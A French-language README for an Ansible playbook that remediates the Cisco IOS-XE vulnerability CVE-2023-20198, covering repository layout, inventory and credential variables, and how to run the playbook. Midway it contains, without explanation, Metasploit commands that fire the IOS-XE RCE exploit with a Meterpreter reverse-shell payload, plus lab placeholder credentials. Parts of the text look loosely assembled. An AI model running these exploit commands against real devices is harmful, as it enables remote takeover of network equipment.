
Vérifier et corriger les conditions qui rendent un périphérique IOS-XE vulnérable à la CVE-2023-20198
Ce dépôt contient un playbook Ansible pour remédier à la vulnérabilité CVE-2023-20198 présente sur certains équipements Cisco.
Il effectue les opérations suivantes :
CVE-2023-20198-Fix/
│
├── ansible.cfg # Fichier de configuration Ansible
├── group_vars/ # Répertoire des variables propres aux groupes d'hôtes
│ └── iosxe_devices.yml # Définitions des variables pour les équipements IOS-XE
├── inventory.yml # Inventaire des hôtes, y compris les équipements cibles
└── remediate.yml # Playbook pour remédier à CVE-2023-20198
Assurez-vous qu'Ansible est installé sur votre machine de contrôle. Ce playbook a été écrit pour Ansible 2.9 ou une version ultérieure.
Configurez Ansible : Modifiez ansible.cfg pour l'adapter à votre environnement.
Mettez à jour inventory.yml avec les informations d'hôte de vos équipements IOS-XE.
Définissez les variables nécessaires dans group_vars/iosxe_devices.yml. Cela doit inclure tous les paramètres communs à vos équipements IOS-XE, tels que les paramètres de connexion et les identifiants.
Pour ajouter un nouvel équipement IOS-XE à l'inventaire, modifiez le fichier inventory.yml et ajoutez le nouvel hôte sous le groupe approprié :
iosxe_devices:
hosts:
vulnerable_router01:
ansible_host: 192.168.1.3
# ... autres variables nécessaires
Remplacez new_router01 par le nom d'hôte de votre équipement et les variables ansible_* par les valeurs réelles de votre équipement.
Si vous devez mettre à jour les identifiants ou d'autres paramètres du groupe d'équipements IOS-XE, modifiez le fichier group_vars/iosxe_devices.yml :
---
ansible_network_os: ios
ansible_connection: network_cli
ansible_user: admin
ansible_password: admin_password # Usage en laboratoire uniquement, stockez les identifiants de manière responsable !
ansible_become_method: enable
ansible_become_password: admin_password # Usage en laboratoire uniquement, stockez les identifiants de manière responsable !
# ... autres variables
Pour exécuter le playbook, utilisez la commande suivante :
ansible-playbook remediate.yml -i inventory.yml
use exploit/linux/misc/cisco_ios_xe_rce
set RHOST 192.168.10.242 # L'adresse IP de votre cible
set target 1
set payload cmd/unix/python/meterpreter/reverse_tcp
check
exploit



Testez toujours vos modifications dans un environnement contrôlé avant d'exécuter le playbook en production.
Stockez les données sensibles telles que les mots de passe et les clés secrètes à l'aide d'Ansible Vault. Ne stockez pas d'identifiants en clair dans vos fichiers inventory.yml ou group_vars.
Pour des mesures de sécurité supplémentaires et les bonnes pratiques, consultez la documentation officielle d'Ansible.
Veuillez remplacer toutes les valeurs fictives par des données réelles correspondant à votre environnement. Ce README suppose une connaissance de base des concepts Ansible tels que l'inventaire, les variables et l'exécution des playbooks.